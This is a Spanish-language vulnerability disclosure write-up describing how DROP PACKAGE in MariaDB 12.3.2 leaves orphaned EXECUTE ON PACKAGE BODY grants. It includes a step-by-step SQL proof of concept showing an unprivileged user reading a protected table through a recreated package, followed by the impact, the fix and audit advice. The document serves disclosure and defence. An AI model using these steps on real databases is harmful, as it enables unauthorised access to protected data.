Resumen
En MariaDB, los paquetes (disponibles con sql_mode=ORACLE) tienen dos partes: la especificación (PACKAGE) y la implementación (PACKAGE BODY). El permiso que realmente decide quién puede ejecutar un paquete es EXECUTE ON PACKAGE BODY.
El fallo estaba en la limpieza de permisos de DROP PACKAGE. Esta orden borraba correctamente las dos filas del paquete en mysql.proc (la de PACKAGE y la de PACKAGE BODY), pero en la tabla de permisos mysql.procs_priv solo eliminaba la fila de tipo PACKAGE. La fila PACKAGE BODY, justo la que controla la ejecución, se quedaba huérfana.
Como el permiso se guarda por nombre, cualquier paquete que se creara después con ese mismo nombre heredaba la autorización antigua. El usuario que tenía permiso sobre el paquete borrado podía ejecutar el nuevo sin que nadie se lo hubiera concedido, y el código se ejecutaba con los privilegios de su definidor.
El investigador lo reprodujo en MariaDB 12.3.2 (12.3.2-MariaDB-ubu2404), la versión vigente entonces, con el contenedor oficial mariadb:latest. Todo se probó en local, sin tocar sistemas de MariaDB.
Para demostrar que no era un comportamiento intencionado, comparó las órdenes de borrado equivalentes. Concedió EXECUTE al mismo usuario sobre una función, un procedimiento, un PACKAGE BODY y un paquete, y después los borró todos. Solo DROP PACKAGE dejó rastro:
=== grants before drops ===
Routine_name Routine_type
c_func FUNCTION
c_pkg PACKAGE BODY
c_pkgbody PACKAGE BODY
c_proc PROCEDURE
=== grants after drops ===
Routine_name Routine_type Proc_priv
c_pkg PACKAGE BODY Execute
DROP PROCEDURE, DROP FUNCTION y DROP PACKAGE BODY limpiaban su permiso. DROP PACKAGE no.
Pasos de reproducción
El reporte incluía un script completo (poc_drop_package.sql). La versión resumida es esta:
- Como administrador, en la base de datos
appdb, crear un paquete inocuo llamadokvchky dar permiso de ejecución sobre su cuerpo al usuarioreader:
SET sql_mode=ORACLE;
USE appdb;
DELIMITER $$
CREATE PACKAGE kvchk AS FUNCTION f RETURN VARCHAR2(64); END$$
CREATE PACKAGE BODY kvchk AS FUNCTION f RETURN VARCHAR2(64) AS BEGIN RETURN 'benign'; END; END$$
DELIMITER ;
GRANT EXECUTE ON PACKAGE BODY appdb.kvchk TO 'reader'@'%';
- Borrar el paquete:
DROP PACKAGE kvchk;
- Comprobar el estado. El objeto ya no existe en
mysql.proc, pero el permiso sigue enmysql.procs_priv:
=== mysql.proc rows after DROP PACKAGE ===
proc_rows
0
=== mysql.procs_priv after DROP PACKAGE ===
Db User Routine_name Routine_type Proc_priv
appdb reader kvchk PACKAGE BODY Execute
- Como
root, crear un paquete nuevo con el mismo nombre que lee la tabla protegidavault, sobre la quereaderno tiene ningún permiso. No se concede nada areadersobre este paquete:
DELIMITER $$
CREATE PACKAGE kvchk AS FUNCTION f RETURN VARCHAR2(64); END$$
CREATE PACKAGE BODY kvchk AS FUNCTION f RETURN VARCHAR2(64) AS
v VARCHAR2(64);
BEGIN SELECT secret INTO v FROM vault WHERE id=1; RETURN v; END; END$$
DELIMITER ;
- Como
reader, comprobar que el acceso directo a la tabla está denegado y que, sin embargo, la función del paquete devuelve su contenido:
reader> SELECT * FROM vault;
ERROR 1142 (42000): SELECT command denied to user 'reader'@'localhost' for table `appdb`.`vault`
reader> SET sql_mode=ORACLE; SELECT kvchk.f() AS leaked;
leaked
HUNT-VAULT-9f3a2c71
El valor HUNT-VAULT-9f3a2c71 era un marcador colocado en la tabla protegida, así que la fuga queda demostrada y no deducida. En ese momento, los permisos de reader no incluían nada sobre paquetes:
GRANT USAGE ON *.* TO `reader`@`%`
GRANT SELECT ON `appdb`.`public_notes` TO `reader`@`%`
GRANT SELECT ON `appdb`.`v_vault_definer` TO `reader`@`%`
GRANT EXECUTE ON PROCEDURE `appdb`.`p_vault_definer` TO `reader`@`%`
GRANT EXECUTE ON FUNCTION `appdb`.`f_vault_secret` TO `reader`@`%`
Impacto
Un usuario al que alguna vez se le concedió EXECUTE ON PACKAGE BODY conservaba ese permiso después de borrarse el paquete. Si más adelante se creaba otro paquete con el mismo nombre, podía ejecutarlo sin autorización y el código corría con los privilegios del nuevo definidor. Si ese paquete era más privilegiado que el anterior, el resultado era una escalada de privilegios que permitía leer datos inaccesibles para ese usuario, como la tabla vault del ejemplo.
Lo mismo pasaba si el permiso se había concedido a un rol en vez de a un usuario: quedaba igual de huérfano y lo heredaban todos los miembros actuales y futuros del rol, incluidos los que lo tenían a través de roles anidados.
El investigador señaló sus límites con claridad:
- El atacante no puede provocarlo: hace falta que un administrador borre un paquete y después cree otro con el mismo nombre y un definidor con más privilegios. Según el reporte, borrar y recrear con un nombre estable es la forma habitual de desplegar paquetes, así que el escenario se da de forma natural.
- El permiso huérfano sí aparece al auditar con
SHOW GRANTS. Lo silencioso es que no hay ningún aviso ni al borrar el paquete ni al reutilizar el nombre. - También vio que
DROP DATABASEdeja permisos de rutinas sin borrar, pero lo descartó expresamente: es un comportamiento conocido y documentado de MySQL y MariaDB, y en ese caso también quedan las filas de los procedimientos.
Remediación
El reporte está marcado como resuelto, sin detalles sobre el parche. La corrección que proponía el investigador era que DROP PACKAGE borrara de mysql.procs_priv las dos filas asociadas al nombre, la de PACKAGE y la de PACKAGE BODY. Es decir, aplicar a la tabla de permisos el mismo borrado en cascada que ya se hacía en mysql.proc.
Qué aprender de este caso
- Cuando un objeto tiene varias partes (especificación y cuerpo, tabla y vista, recurso y subrecursos), compara qué filas borra la orden de borrado en la tabla de objetos y cuáles en la de permisos. Si la cascada solo existe en una de las dos, quedan autorizaciones huérfanas.
- Los permisos que se guardan por nombre, y no por un identificador único, sobreviven al objeto y se aplican a lo que luego reutilice ese nombre. Al revisar un sistema de permisos, prueba a borrar un objeto y crear otro con el mismo nombre para ver si la autorización antigua sigue valiendo.
- Para encontrar fallos así sirve probar en lote todas las órdenes hermanas (
DROP PROCEDURE,DROP FUNCTION,DROP PACKAGE BODY,DROP PACKAGE) con la misma preparación y comparar el resultado. La que se comporta distinto es la sospechosa. - Si administras MariaDB y despliegas paquetes borrándolos y recreándolos, revisa con
SHOW GRANTSo consultandomysql.procs_privque no queden filasPACKAGE BODYde paquetes que ya no existen, sobre todo si se concedieron a roles.